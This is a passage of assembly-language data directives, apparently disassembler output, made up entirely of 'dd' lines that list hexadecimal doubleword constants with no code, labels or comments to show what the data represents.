		dd 3A133E40h, 5DE45552h, 695D3FB7h, 0DAE07880h,	0F5471234h
		dd 0BC99B300h, 0DCE81793h, 0C1FD002Ah, 0E9AF3D59h, 0D5008F24h
		dd 8C738A06h, 0F262C6E7h, 9AE11F87h, 6C36C04Dh,	744C9545h
		dd 0F5422B00h, 85E3E2B1h, 0B4ED0E89h, 10E3E886h, 5FA8B54Ah
		dd 6F903D49h, 81973A01h, 6E7FF2A2h, 0A06020h, 60F5FF63h
		dd 23323E22h, 0E3C5FB0Fh, 6101A0DFh, 44778Ch, 0DD7FE65h
		dd 0CFA7E896h, 510A804h
		dd 0C8C73D38h, 0E39DE900h, 0BDC3098Fh, 60077694h, 0FC10F325h
		dd 155ABE8h, 2403E500h,	0B6BDEACCh, 737122h, 5C96416Ah
		dd 2D803FFCh, 57713701h, 3C6289DAh, 91ECDDC9h, 3028992Ch
		dd 44AE5068h, 945AD600h, 1851BA42h, 0B56A000Eh,	5607FA88h
		dd 9D0308ECh, 3614F331h, 65FDD8B9h, 1B8D003Bh, 5CCEFF07h
		dd 51002F41h, 81FC6825h, 10B55D8h, 0CFB74E5Dh, 0CFF08CA0h
		dd 0FE5EBDD0h, 0BF00C2FCh, 5F111545h, 0CCEBE7h,	5302679Eh
		dd 0ADCE68A0h, 132C14FAh, 0DF00E617h, 8A96CB0Eh, 0C9CA003Fh
		dd 1502B176h, 8F39D0C8h, 1BE8007Fh, 0A4C27705h,	9DDE0095h
		dd 0BD78774h, 0C0022326h, 1F0245Ch, 0C07E429Ch,	150609h
		dd 81967888h, 6BD00C11h, 9C555C00h, 272B56E8h, 2C9DF291h
		dd 3A5DD88h, 189BF0DCh,	531BA8D0h, 0D21C46FEh, 38A6CF62h
		dd 6E5B5504h, 1E186581h, 0E9B720h, 842C2D25h, 0B4151A0h
		dd 4DA13400h, 128B4EC0h, 0B25400DAh, 47F7AE9Ah,	40002A3Dh
		dd 94C3B937h, 0E62E85C2h, 982600A1h, 6BB44A69h,	210023B8h
		dd 6781D95Fh, 110D122h,	44668DC2h, 0FC699E5Ch, 0C300AF54h
		dd 0CB8CC0A1h, 7B1E19Dh, 7862CA79h, 248389F7h, 90E44027h
		dd 22E9C81Ch, 0A9120098h, 0E000E804h, 117F494h,	0AFF0039h
		dd 28FA36Fh, 0C0929C4Dh, 0C706BC00h, 0D7742FDEh, 5968609Ah
		dd 0C87744DAh, 0D2900700h, 66FC9CDh, 0AB373978h, 0E6F4D100h
		dd 0FCA2E29Ch, 1425CE0Bh, 203C8910h, 89999DF8h,	0AD5D0004h
		dd 0A484D74Fh, 0C51ED4C6h, 92D26A37h, 99A65C20h, 6C680E43h
		dd 2E07935Ch, 6AC2069h,	0AB261D17h, 0DD83FC41h,	0B94437FAh
		dd 59D0F930h, 0BCD60013h, 904B835Ch, 5301256Dh,	0F8C19DC9h
		dd 0B340408Ah, 30EAA7D1h, 0D4FAAB73h, 17633CF3h, 0E0DC7C10h
		dd 0F93A633h, 1226DE02h, 478F1D20h, 2514015Bh, 1A423B9h
		dd 5588770Ch, 0D4C0B10Fh, 30B000FAh, 0B4F00E5Bh, 5900FCDDh
		dd 0C752FFE1h, 0A72DBBh, 700BE0CCh, 1CC1ECCFh, 4FB9A400h
		dd 0E6B39156h, 671D26D0h, 1BBF0077h, 7658D8A2h,	0EC008B98h
		dd 0CC0C4FBh, 259140Dh,	0C8B39270h, 48604417h, 800BBE8h
		dd 477BA76Ah, 92D369AAh, 5BF800DCh, 95CF1554h, 0AE00559Dh
		dd 0FE91EEDAh, 0E32FB1h, 20F579BDh, 843E2105h, 72A85A48h
		dd 4872BC26h, 0D8CA8D00h, 21D9DFDh, 7953E62Ah, 8041BDB4h
		dd 0EE24205Ah, 0AAF2C700h, 0F617B602h, 75661E45h, 137A4082h
		dd 7BC6C206h, 0E610760Fh, 0F222126h, 4C20E49Dh,	92EA84h
		dd 0DDA0FBCDh, 57AB2BE9h, 0D65D0E00h, 95D3F02Dh, 0DA14077Fh
		dd 0B2BABD6Fh, 0E881646Ah, 60721088h, 0C70060A0h, 52B8F17Ch
		dd 0C544593h, 7B0B6E9h,	9504D521h, 2CBF6EE0h, 0CAD04EC0h
		dd 8DDB0080h, 0FACF8F47h, 8376D864h, 6D45FB06h,	7C381812h
		dd 0F405008Dh, 0DC515B53h, 0E8009D80h, 342F2EC6h, 7A86223h
		dd 8EDB6550h, 9460906Fh, 0D5C4746h, 5EFE8000h, 0F99681h
		dd 0A835C16Dh, 0C3FC4B7Ch, 41665C00h, 8A55D906h, 0A79A58B7h
		dd 0DB346B06h, 2D001090h, 25D8826Ah, 5CFDE69h, 44D196F7h
		dd 0E0F80151h, 6329C0A3h, 853B1E44h, 53C01E9Dh,	0DB8CD5Ch
		dd 963E0025h, 0E7A956D2h, 90B86809h, 0F9FD7100h, 5CA6392Dh
		dd 34E0522h, 16954FCh, 0D0C265F8h, 8028EDh, 78404AE9h
		dd 98D3BE77h, 983F820h,	2BB818D5h, 48ADC420h, 8A24617Bh
		dd 0AC80B059h, 1CB8A9D7h, 94C400C0h, 9BFB7998h,	530342F3h
		dd 0CCE28FE5h, 0D704DB7Eh, 90AF5850h, 308178A7h, 0AEA810B8h
		dd 0DC0126BDh, 77A9D850h, 0D5DCF084h, 40ED00E4h, 5D640B4Bh
		dd 5E00AF74h, 11276D9Dh, 907D45D2h, 0A5FC0089h,	0E8C65C54h
		dd 0F4001222h, 0A7F12C9Ah, 70D45E0h, 2BB7E7C5h,	8064C53Fh
		dd 0F029EE7Fh, 0A17E6E00h, 0A55F1DFh, 0F2B02BBh, 6D38A910h
		dd 9F6EBC80h, 5100D5A8h, 87889581h, 7B73DFABh, 2C7F00A5h
		dd 2479BF38h, 0B53827BCh, 6E1D824Bh, 60DA102Ah,	0EDF3FACh
		dd 5C522069h, 5F2714E0h, 0B2B83EEDh, 366F4C00h,	168B553Ch
		dd 10D76018h, 93915FF4h, 83CC0B00h, 63068940h, 217A59h
		dd 0E5B8544Ch, 432F9A15h, 2A87B500h, 0D551D092h, 75F109F8h
		dd 9C03B4E8h, 0E2B03AA8h, 0FEEEE97h, 6C6548h, 6D7AFAE9h
		dd 515081h, 5A52D2F3h, 0A366FB5Dh, 599ABE00h, 55C04CDFh
		dd 9EF90011h, 9B5D4940h, 0AD00EFAAh, 523B38D8h,	7C9F842h
		dd 0F51A0CD4h, 8209B4EDh, 90709987h, 3F1C3500h,	6FBEAFE9h
		dd 4FD84BFDh, 17C2C6BCh, 9080EBD3h, 0AFB88872h,	0F8EA6438h
		dd 0C20F677Dh, 4709036Ch, 0A0C0C923h, 982CE098h, 730A0785h
		dd 0F91C4665h, 0F65DA461h, 0F34530h, 4866B34Bh,	6B7DAF8h
		dd 22276C00h, 19B05E74h, 0AB930068h, 9B0AC9B2h,	0F624EA28h
		dd 0DA00CF03h, 0E5390546h, 713B0004h, 3C83D3BFh, 2B005EA6h
		dd 1FDBCA7Bh, 74C303h, 92282C56h, 1ADE41C6h, 0F6107D60h
		dd 19E13CDh, 83CFD0DDh,	0FF8EEC50h, 8AEE60A7h, 0C4005516h
		dd 813B2F53h, 0D2684Fh,	877B6741h, 0B717B9CCh, 4695FA00h
		dd 88786DCBh, 2074036Ch, 5D14E64Dh, 1108E198h, 0AFF80D00h
		dd 0C4CFF550h, 2B2700C9h, 6875C391h, 6E2EEFDh, 8672E100h
		dd 8A103662h, 0C7A93C9Ch, 5E77F8h, 472A2232h, 26ECED7Ah
		dd 0EBAB3A1Dh, 8BA5F7C1h, 24FCFB66h, 4C87073Dh,	1095C0E8h
		dd 0D938BBA9h, 0C40B5873h, 81EB6F71h, 5276F0F6h, 7917D0h
		dd 3B44BB36h, 0D88BE521h, 92153000h, 523D3ECFh,	49F8C973h
		dd 8B9E4E80h, 0D60070A0h, 0A74BA9CCh, 1DFED51h,	0C5B62AD5h
		dd 0F44C40FFh, 450554AAh, 83606ED3h, 6661CC03h,	0B1DEB073h
		dd 0C3D100F6h, 0F97715AFh, 0A8E29472h, 1F1CB24Ch, 92432823h
		dd 0F1A5BC7Bh, 0BBFC4026h, 0E2F0A8h, 0A6F73042h, 0FADB4C35h
		dd 0E9F9AB00h, 7934B83Eh, 853C009Bh, 31EB8AD9h,	13001749h
		dd 8FC70C01h, 7EA4Eh, 83A32F18h, 0CDC1F7AFh, 61BD5812h
		dd 0A11E5000h, 1D53B63h, 1CCBBAE8h, 20B7D4FAh, 5C071706h
		dd 0C6E77B94h, 0D7127840h, 0D9BB2C68h, 8BA00703h, 67D50079h
		dd 0F23C3D3Bh, 0D76980ADh, 8382514Ch, 0CD8D0021h, 240E34F1h
		dd 2707C7ECh, 76DA924Dh, 2FFC7550h, 4577F2h, 2D13C55h
		dd 123BFAB3h, 79A57400h, 36911F72h, 37FE001Dh, 0A2EB678Dh
		dd 8B00AA01h, 0BFE84FC6h, 0A9842Bh, 79CD7544h, 5A163FA4h
		dd 22BA9100h, 0EEBD5341h, 30640012h, 132173D6h,	8F483765h
		dd 0A55F1D0Eh, 7A61FA40h, 809610h, 0DD1A02BAh, 0F6C4B09Fh
		dd 809EC83Dh, 0FEEFC3A8h, 714B23h, 7EABD8C7h, 159F873Ah
		dd 0FD9D650Eh, 9B0660B3h, 0C040FC70h, 364C2878h, 2900D25Eh
		dd 0FF1418C1h, 0A0ED5D88h, 6BCF4170h, 9800803Ch, 55AAA2Ah
		dd 0E500EB71h, 45972EEh, 0AD1233h, 0DAC32F39h, 34FF36B2h
		dd 4F26661Ch, 201D0500h, 91C00Ah, 1224E913h, 929FC17Fh
		dd 0D71FD903h, 0B8AB2A83h, 1056DBh, 476366A8h, 0BEFD0713h
		dd 0CF7A3F0Eh, 8E8DE0BAh, 0A98214h, 15FE0A21h, 555C3AD2h
		dd 98FD5B00h, 2EFBA559h, 0E07899h, 0DCD31D8Dh, 4061BC27h
		dd 0F0B0EE03h, 0A878557Fh, 0CE14A0h, 0F73FD665h, 409219EFh
		dd 7452200h, 0DC778F82h, 0B6230052h, 86684999h,	64030D26h
		dd 0E63B6BF5h, 0C81DF8C6h, 0D48B0EDFh, 9B80903Eh, 6E53DC9Ch
		dd 5B740C00h, 2DDEB452h, 263090BCh, 1E497637h, 781C001Dh
		dd 0D85E8C3h, 2C04AC07h
		dd 0F2095E3h, 3723DB5h,	0EB980ED7h, 0C390413Bh,	7C00C0ADh
		dd 0CB36C723h, 37D9D4h,	13554440h, 0DD9D2B76h, 0E405DA00h
		dd 85F3F68Eh, 0F189000Bh, 0AC027793h, 1054EB2Eh, 2A00EA84h
		dd 0E321EF82h, 84463Dh,	973B4FE8h, 0D29549E1h, 0A979A017h
		dd 78A5E00h, 756402AAh,	3AF32C6Ah, 1E4000E0h, 0E49881AFh
		dd 0B0FC5300h, 0F9178B77h, 8CBC07B9h, 0C0D2BD86h, 0AF785B88h
		dd 0DA913A1Dh, 51CB93C0h, 1F7E71Dh, 16FA9FDCh, 0E89D8D5Eh
		dd 1F000E6Fh, 0A2A31413h, 431132h, 9FE842ADh, 0A608DDD6h
		dd 0ABD92F00h, 0FA2A0EECh, 19240314h, 0F4FFA109h, 0E2C52ED0h
		dd 733CB000h, 8078E506h, 3EA200BDh, 1A4C472Ch, 7C906C9Ah
		dd 686B8500h, 0DE9FB881h, 8273007Ch, 0C1E933F7h, 0A01699AAh
		dd 521F0209h, 4FE4B342h, 832A601Eh, 4221005Dh, 0D7CA8C4h
		dd 0C81D6EDFh, 120052C7h, 0C1852AC5h, 83280056h, 35E2D890h
		dd 0B43EE048h, 0C5170170h, 89B119B9h, 0F85503E4h, 0BD30006Fh
		dd 0AE6D04FFh, 0C479E336h, 0C53E7600h, 81887512h, 3D270021h
		dd 0B03CC7EFh, 0A807B1D5h, 0CA60D3E0h, 1B50FA27h, 0A9D7DFh
		dd 370A2FEEh, 0C70F5C84h, 43355309h, 4E2D0120h,	0A3D00B39h
		dd 2A1600F9h, 0E25C8BE1h, 830010BFh, 0C2569E5Bh, 4C6E6823h
		dd 0C50FCD51h, 6DA10BF6h, 0D6E79130h, 0F040C861h, 4F38725Dh
		dd 0A7DC003Ch, 0FA1443C0h, 3E580089h, 65934815h, 3D001E50h
		dd 762F87BCh, 4CEBC08Ah, 0B707804Eh, 503347F7h,	950E9DCCh
		dd 0DB18347Ah, 5360B004h, 0B5BF183Ah, 8EC37052h, 32CD110Eh
		dd 6AC983A7h, 0D181855h, 9DD210B7h, 0F08FBC40h,	2EE20716h
		dd 525E7F4Bh, 41E11E82h, 325981B1h, 0BFD85575h,	34FCB5D0h
		dd 4068BD3Ch, 5B1FDC28h, 54026530h, 0DA4634E2h,	0A4CAA1Dh
		dd 0D0996E3Ah, 18A02830h, 14A01EDAh, 5603CBD2h,	3643E450h
		dd 9C99A8FAh, 0F98B035Fh, 5714B74Ah, 40E31EB8h,	82855600h
		dd 42452D65h, 0DDA8A024h, 124EE6C9h, 0D3D64h, 0CEAD70C6h
		dd 37011844h, 4253E931h, 0EF8F68Ah, 2F942C82h, 7E803803h
		dd 1F6483C1h, 0ED077BACh, 74610872h, 97935543h,	0DE9CFAA0h
		dd 26360022h, 45580D87h, 0F7ECE65Fh, 0C6F8EEF4h, 10E153Dh
		dd 0DF97EA21h, 108C28DDh, 7BE06F2Bh, 0E8604630h, 0ECF7C3h
		dd 48C1E469h, 932654D2h, 0B2E2F07h, 80F142DAh, 0A286EA47h
		dd 481D59DFh, 0E540A088h, 0A1B43C0Ah, 0E3D92F0h, 41571252h
		dd 5C498F53h, 0FD60298Bh, 20320007h, 9ED5551Fh,	5D601074h
		dd 7A951E21h, 0F799243Bh, 0F2AE002Ch, 452ADA32h, 2E4050DCh
		dd 44AD5834h, 296C1C5Ah, 0C188B065h, 994804BBh,	84B3846Ch
		dd 0A7DAFD81h, 66DD1020h, 215708FFh, 0AFB070FFh, 0F0B35Ch
		dd 8D96BA6Ah, 9BFA5AAh,	0E4531319h, 78590286h, 0DF003779h
		dd 0FA9D1CA4h, 7A655F5h, 32D9427Ch, 0BB88F199h,	9D0470A2h
		dd 9500177Eh, 0EF8A1AF4h, 7370D348h, 0E0F3C22h,	69EBC87h
		dd 0A8A1C3B7h, 9F9A9CB0h, 0CD03D577h, 834B7B0Fh, 3C8EB184h
		dd 9185BE0h, 20D047D2h,	0C1BC6080h, 0B401014Ah,	0EF428748h
		dd 0CBE0C9ACh, 337BA0h,	0B180141Fh, 939658E6h, 16975F1Ch
		dd 39488801h, 1FDF2B3h,	0B0BBEAF0h, 1CFC799Bh, 8089A13Fh
		dd 614542C1h, 0F07E6F52h, 0E491351Dh, 0DB0519DEh, 0A8803D21h
		dd 6EEAF9h, 2D0DC7AEh, 0B17B8BCBh, 67C16305h, 43B602Ah
		dd 0B4311307h, 3099C727h, 5EC35006h, 108DB617h,	23F05207h
		dd 2F12605Eh, 186D1C80h, 2905FB99h, 6F4003DAh, 23284417h
		dd 0D3EB1084h, 440E3853h, 0F73F44ABh, 0D1C02284h, 798CF232h
		dd 8E0B100Ah, 0C4D6D488h, 448A2629h, 7F48DAF7h,	25CF1D42h
		dd 0F464044Ah, 14334A20h, 94DB1808h, 2F11283Eh,	722D6h
		dd 62D5A7EBh, 0B872D263h, 0E7C15750h, 955EF00h,	4084CB80h
		dd 1B2E00F7h, 3B857BC6h, 0D8002D02h, 7A5E133Ch,	388AF0h
		dd 8DE33187h, 0B73703ABh, 5629000h, 57FB6DF6h, 169C07BFh
		dd 60DA7E1Fh, 841EB7DBh, 4C004090h, 0C807C106h,	0C97B88h
		dd 3417F598h, 9F4127A1h, 0E6CCC50Eh, 0C6EFA0BFh, 75F1D953h
		dd 60761Eh, 8DA2F92Ah, 10554B78h, 13133C5Ch, 7F03A494h
		dd 885677E3h, 2DE9DDh, 0B7714042h, 0C7DF1891h, 87901401h
		dd 0D6A17EDh, 0B38D4h, 3DFB41FFh, 2D675183h, 0EA12627Ch
		dd 280F261Eh, 140240F2h, 0EA63477Bh, 0BFA0093h,	0B0E93268h
		dd 0EB0FC839h, 0A0E1291Ah, 981490BEh, 0C9FE3BDBh, 0D40E9061h
		dd 94E5E01Dh, 0AEEDC709h, 6E6C2049h, 0E017B8h, 0E4383A76h
		dd 65B74415h, 0AAF29700h, 0F8597B71h, 80E300AEh, 251CCF3h
		dd 8838A435h, 415F00B9h, 4AA5EBECh, 12660099h, 11E019C4h
		dd 95003A9Fh, 0FDD591E1h, 3CBDCCF0h, 0D00755BBh, 6047DF37h
		dd 5C820A36h, 7A926300h, 4CB8EEDAh, 0FB52001Eh,	9A429F64h
		dd 5100DB1Fh, 0BF07DF04h, 0A0E1EDD5h, 4A25C8h, 0D1137B28h
		dd 7F352CB7h, 0DD0FCF00h, 72310D03h, 0D48F07FDh, 0D0E740A7h
		dd 0A4A0C908h, 0E5547B00h, 3D97CB2h, 0B6270048h, 0BD92F06Ah
		dd 78050DA6h, 0FF66AA31h, 0FB8500BFh, 720628D7h, 0E7AA998h
		dd 0C2CDD31Ch, 0A8E8E740h, 90FCB702h, 0ACFF3CF8h, 79BC4C00h
		dd 54621687h, 1AE82500h, 34EA55C2h, 6F8B0101h, 0C9FBC382h
		dd 0AB3F821h, 7F56DD07h, 0CE60F614h, 7C44469h, 0E827659Ch
		dd 0BC602EFEh, 0E317FBAEh, 868D550Ah, 0A2019FDBh, 0F3348F02h
		dd 24BDD0D7h, 0A7E8001Bh, 2872A122h, 3C9884EEh,	0EF9E100Bh
		dd 1476815Fh, 0A2E88536h, 0C608013Ch, 0F233D8C7h, 15A730B9h
		dd 0D5808B1Dh, 0E9387700h, 562F67h, 8FA16605h, 0A3927ACBh
		dd 10ACA924h, 4B1B8E3Fh, 0ED4420E4h, 4C893DD2h,	0C10E7806h
		dd 1A003652h, 8E826EB7h, 465A3703h, 98A1A563h, 9BF45Ch
		dd 0F2BEF0E3h, 846F8C9Fh, 0BC04C918h, 75207318h, 0E83014D7h
		dd 0B4309BD0h, 372CE118h, 191FA990h, 4F016531h,	2396B333h
		dd 38205BD1h, 0CFF700DBh, 8A2046A8h, 5D79AA63h,	0C9263598h
		dd 0F302927Bh, 41F41F77h, 0DEE84E30h, 535500B0h, 4C579020h
		dd 6B008E17h, 5DE7DA73h, 0F640EAB6h, 67C500C0h,	0B956AA8Fh
		dd 0E37F9718h, 18C789E2h, 1720A7B5h, 0CBFCC31h,	41A8C004h
		dd 7900C866h, 2F50EDE1h, 72DCBCh, 0A3A4AAEh, 0F9A8A78Dh
		dd 65D5DB09h, 98C800FBh, 41B85Fh, 335420E8h, 0E50EC314h
		dd 0D8C95200h, 0F50D795Ch, 0D2990015h, 0AC3AC174h, 247737DDh
		dd 0C900877Fh, 0F4AAAF3Dh, 1193608h, 0C63EAC82h, 0ECD657EDh
		dd 84001874h, 79B0245h,	93FFBC4h, 0D31CBEF6h, 970A0380h
		dd 0F0008068h, 0ABC31342h, 63C154h, 38BA6F30h, 379707E1h
		dd 1082BB00h, 0A8E9849Fh, 433B0015h, 0ACA92C4h,	0B1131CB9h
		dd 2800D373h, 0C1FFD917h, 0EEF9005Ch, 9177C91Fh, 0EC30651Ch
		dd 0E7D5F66Bh, 1AE40792h, 0F03410B2h, 0A6EEE196h, 4FB4FD0Ch
		dd 0F41090h, 3F09247Dh,	9DE220CEh, 0BDF4E00h, 1204E850h
		dd 46450E77h, 7A408DEEh, 637D9B95h, 0FDD7BE00h,	0A4C998F6h
		dd 1E1600E4h, 9F0BB385h, 88001431h, 7B2FDA91h, 0FAC3EFBFh
		dd 8CB000C9h, 0C421DDD0h, 5E07D998h, 4622DA1Fh,	0DC4FEE40h
		dd 260D4835h, 0FCF624h,	0C837E763h, 0DE0E6C29h,	0C758061Bh
		dd 51700EDCh, 1F3532B6h, 0E4167B27h, 0E4250002h, 5AD8D6E7h
		dd 0F21B8B00h, 405DBA6Eh, 39980EC8h, 352E408h, 0EF92B8FCh
		dd 6507819Ch, 0D970201Dh
		dd 60EAF526h, 4D271130h, 0A58400CAh, 3B9F3FD5h,	66746299h
		dd 35C47E60h, 12DC9E8h,	0C3B5E720h, 0F16AF886h,	84B05762h
		dd 6710C042h, 0BB0F6D8Ch, 403B648Bh, 0D7D314F5h, 1E3E07FAh
		dd 0B09D7457h, 526E60DBh, 2A322700h, 5BF93F75h,	0F576016Bh
		dd 0B3689CF8h, 0BF2C606Ch, 5CB952h, 6B8F163Ch, 4485E39Eh
		dd 5C008005h, 3736FE6Fh, 0E25901h, 213D5BC6h, 0E416C59Ch
		dd 26000498h, 0D00DBDC9h, 2E297131h, 23D567h, 0EC33C4BFh
		dd 650EB67Fh, 728E9BEDh, 0CA13A402h, 4076C2FFh,	619F2Ah
		dd 0E7F61D3Fh, 87ADF38Bh, 8E7EF8E1h, 764AA31Fh,	37EAB240h
		dd 304F74D5h, 8CF8ECBFh, 1BE414DAh, 3CB5A00h, 0D58B3A33h
		dd 0EC740009h, 6C381E5Dh, 450079AEh, 1319CF71h,	893CE5h
		dd 0F2803B1Ah, 2DA9E8A3h, 2AA2E000h, 86DA8DD5h,	6F0A0F8Bh
		dd 9BC06CF9h, 0D607EA54h, 7548C27Ch, 0A202009Ch, 42DB77Eh
		dd 9051182Fh, 529F88E1h, 0DBEE0800h, 0F89E776Dh, 0FC2D162Ah
		dd 9D72000Dh, 3B5C1241h, 0A13FAB72h, 482780C0h,	3FF3FB50h
		dd 1B2048F5h, 2D4C4A00h, 5DD05A94h, 2B3D5E00h, 81BA719Ch
		dd 2ECD0784h, 0D07C397Bh, 1232FF01h, 0F74827B8h, 0F7000B4h
		dd 0F5B290FAh, 1C6D026Bh, 87EE2251h, 7CE03F62h,	1D02D909h
		dd 0D77E643Ah, 0ACCC4086h, 93D207CEh, 0E795FD38h, 53EE10BDh
		dd 0C800C9F2h, 59D84190h, 5816EB3Ch, 6A010085h,	0BE74CF2Dh
		dd 9DFBC018h, 92C90E00h, 0FCC8BFB2h, 6A6E0020h,	0CE2D45C7h
		dd 0D09E2EDh, 8EEF8926h, 88BCA0ECh, 0DEE35Fh, 0E9C50614h
		dd 67951C3Dh, 201D5Ch, 0D8936109h, 62533Ch, 541BF17Ah
		dd 6B5AF0EBh, 0D5824607h, 2190CFC1h, 0D61979h, 381F8A11h
		dd 0E23076E8h, 71A81B00h, 0AC44C856h, 80D10041h, 8687C302h
		dd 8D3DC23Fh, 1F48E026h, 725E9A72h, 0DB941284h,	111F08h
		dd 878EB679h, 4600A942h, 0BF93D8A5h, 14B50DE7h,	0A8FA7B53h
		dd 2458D30Eh, 0CE1D98E0h, 0E93BA94Bh, 8FFF815Ch, 6A16393h
		dd 0E75270h, 0D4F85F2Fh, 894694B5h, 88EE6A00h, 8DA53D65h
		dd 0E980270h, 0F4D43829h, 0A2A83060h, 0E1179F00h, 4C7871D0h
		dd 36FB008Dh, 8F13D30h,	1D395B3Fh, 0DC8BAEB4h, 0DE603300h
		dd 0E691E46h, 4A9EC7B7h, 0F6EF0F20h, 8F1EBA64h,	0F5018081h
		dd 0DD63CB1Fh, 23E2C097h, 35D07754h, 0A0090B9h,	0A9F0F1AFh
		dd 79A449h, 0F501B397h,	0AE0D711Bh, 6CD1DF00h, 55A11CEDh
		dd 0E24F000Ch, 0EFB3E5F7h, 6600292Dh, 632C4420h, 0BDD25Bh
		dd 83E38C56h, 2242986Eh, 0E1810504h, 0D880083Fh, 6C70Ah
		dd 2009CA39h, 0A0F1E7CBh, 0C80E300h, 8E9878D3h,	0F9E4095Bh
		dd 6429EB8Bh, 835E1480h, 0AA002B56h, 0F3C99A40h, 4CE20Ah
		dd 527EDF16h, 2611A3BDh, 2D783E00h, 0A4C81B48h,	0F1A00046h
		dd 4C87C9C2h, 441FB1F7h, 3B800D16h, 0A6FA9C2Ah,	0F2AD071Ch
		dd 90197C2Eh, 64932B42h, 0CB255270h, 79DE85h, 7E66399h
		dd 10004E74h, 93C8F9C5h, 49829h, 25705288h, 0DEBFC9EDh
		dd 0A9EFB4A0h, 0F0B0A32Eh, 6018750Eh, 96049FF5h, 0FC9B0C0h
		dd 0E499ABCBh, 79FFD546h, 0E328000h, 416ECAF0h,	6930060h
		dd 14B9B717h, 0F900F5EAh, 7A8AAB2Fh, 922C9Dh, 1F1A91EBh
		dd 2B50B774h, 54008FF2h, 18BD0E52h, 0E60947h, 402F915Fh
		dd 9AFA5BFCh, 0C94F8400h, 358EADD4h, 1D3000CCh,	0F5E526Ah
		dd 2F00026Eh, 5186D22Eh, 2472854Ah, 1738A0AAh, 0A3780040h
		dd 0C206DDE3h, 0E5EE63F8h, 481EBF00h, 8049775Eh, 4A740FA2h
		dd 790F0658h, 22ACFC00h, 0C27339E0h, 0E85B8C02h, 0E0B4C155h
		dd 3A6765h, 8BD20979h, 96E4AF97h, 0FEF7D500h, 0CB0240DEh
		dd 694F0112h, 0C23DED72h, 0D400749Ch, 6DE32807h, 0A06E66F8h
		dd 0FF3DFBB3h, 0CF0E14C5h, 7E04EC3Ah, 0A4337399h, 0B3050C7Ch
		dd 866CD3C8h, 25FE7C90h, 55A6004Bh, 606FA844h, 0E9134E5Dh
		dd 1CC0DCC5h, 327AD2Bh,	0ED55E1C0h, 381C5E0Dh, 0FB2274h
		dd 6DFD42Ch, 1E7251CCh,	7640F69h, 1083A30Eh, 482490B8h
		dd 0D556E0Bh, 0A16B00FBh, 1E494C15h, 0F8374214h, 0AC00B23Bh
		dd 7D50DD9Bh, 2A03F664h, 55B9DBFCh, 8B7AD888h, 0AD43000Ch
		dd 0D7E5EB68h, 36C05C1Fh, 75654281h, 982CEEE1h,	2B630454h
		dd 0EC4377Ch, 0CF1AE07Fh, 5F833h, 7BD5E597h, 0D7439B69h
		dd 82B56700h, 4202EC08h, 0A0493FA5h, 5D853301h,	0DC94FDD5h
		dd 0E9031B89h, 0E402443Bh, 1FCCAA6h, 7A283Ch, 0E22CF75Fh
		dd 0F8770071h, 0FF8E8F37h, 8DF2F6DFh, 9DD86506h, 1C90C5E7h
		dd 0D420B260h, 681CFC51h, 0A85054F5h, 77C50C00h, 3A63BDB8h
		dd 0CD044898h, 0C8FD246Ah, 1A2F18C0h, 0CB99004Ah, 4F479E14h
		dd 0E50B9363h, 707ED90h, 3394C8DAh, 0F8600CD7h,	3FC9AB83h
		dd 450C7F08h, 0D648BA1Eh, 0C14CDC70h, 51970053h, 0E3A63B89h
		dd 91A10072h, 0F8E7618h, 0AE722662h, 20EC1102h,	607909E1h
		dd 79888B48h, 665240B8h, 1BA6DC04h, 44D3839Fh, 0AAD3B9F0h
		dd 9E94BFECh, 41548090h, 0B3A5B116h, 0BC000DECh, 0FA4999CFh
		dd 2871FB0h, 583CA60Eh,	5C48A355h, 84384ED2h, 0F0351332h
		dd 10240E00h, 71B02B57h, 98961F56h, 19F680ADh, 7E9D3982h
		dd 18676A00h, 3EBA63C4h, 752300EFh, 436DFEBEh, 1C014992h
		dd 0B218B352h, 0F0213B09h, 0BB47B8D1h, 0ED27B110h, 44F405D5h
		dd 208ECCB6h, 48231AD8h, 0F4224A42h, 0FD980700h, 7EDC36A3h
		dd 0F7C63A57h, 0C0E9CA00h, 0B12F6369h, 852E73B0h, 0E100E49Ah
		dd 608F58A3h, 8CC94CAFh, 43C4FC00h, 3A26CCFFh, 0A21AE600h
		dd 0AA03CA4Ch, 9B300AFh, 0D7345E99h, 2B3F4F80h,	111C032Fh
		dd 80F4B112h, 0AB606Eh,	0D11F2A89h, 198A66E3h, 1146DC00h
		dd 29A8CBA1h, 60890E2Eh, 0B4209058h, 489AC62Fh,	0B22C00B8h
		dd 0F70935F6h, 106885EEh, 5391E300h, 151C5B89h,	0F42443D0h
		dd 0B9288A00h, 0DE079B3Fh, 0A4E6F600h, 0FE2ECE27h, 62580073h
		dd 6842991Eh, 0ED00324Dh, 0A170EC29h, 9DF3B8h, 0D224F648h
		dd 0AF4D4B72h, 0BF595A0Bh, 2EA08105h, 5030C369h, 0CD3B03FDh
		dd 77527092h, 81E82AFBh, 58B08620h, 0BE9FA500h,	0F684B50Eh
		dd 0E7F500FEh, 96D581CFh, 70052AE1h, 0B3F8091Dh, 4BD0E405h
		dd 2E7AFCD0h, 649A60h, 1C6591ADh, 0E576A7E8h, 94B94905h
		dd 0D003F40Ch, 0B87ABAECh, 2CF33Dh, 0DA586F0Ah,	9C464218h
		dd 881EAC07h, 0CB60E7A1h, 44CF01h, 0EEA34D6Dh, 4C23E143h
		dd 842B8C00h, 68E40958h, 0E7791972h, 2B276ECCh,	350DF0h
		dd 0E9E66573h, 0E19C5A5h, 0E06FBA02h, 803322A7h, 0A8A947BFh
		dd 0E987005Dh, 0C163F32Ah, 0F83EA258h, 97600B81h, 4DEA8074h
		dd 92D25h, 0CD3C9B1Fh, 0D5E542Bh, 68B24Dh, 0B5E7F61Ch
		dd 8F38C0h, 0B76AEF7Ch,	5DDAE248h, 0C0006F4Eh, 70349697h
		dd 43F003C7h, 0FCA46BBFh, 905856A2h, 234AF500h,	0D60DA20Ah
		dd 0DEE8F0h, 0E7297C03h, 8464EE5Dh, 58987402h, 0C8AACCF7h
		dd 739D1DE0h, 70860173h, 0BF4F3C7Ch, 0CD0C7175h, 23CC5065h
		dd 2101E02Ch, 0ADA23850h, 0B824D6AFh, 0B6900A9h, 16B608E5h
		dd 7D00ACDBh, 0A0F213C7h, 0F7A54Eh, 87893794h, 0D67A7648h
		dd 0A257C300h, 7717AB26h, 40A43C84h, 0FBC43903h, 5805C2B0h
		dd 0A368801Fh, 7F29CA0h, 9F092FC0h, 8FFF10CFh, 4701C486h
		dd 24BE4FCAh, 80401A17h, 0F8A9E848h, 79910B2Dh,	8421B2C9h
		dd 1014E268h, 7939469h
		dd 429024D5h, 2DCD804Ah, 0F4004C6Bh, 0D1A38F5Eh, 753DDAh
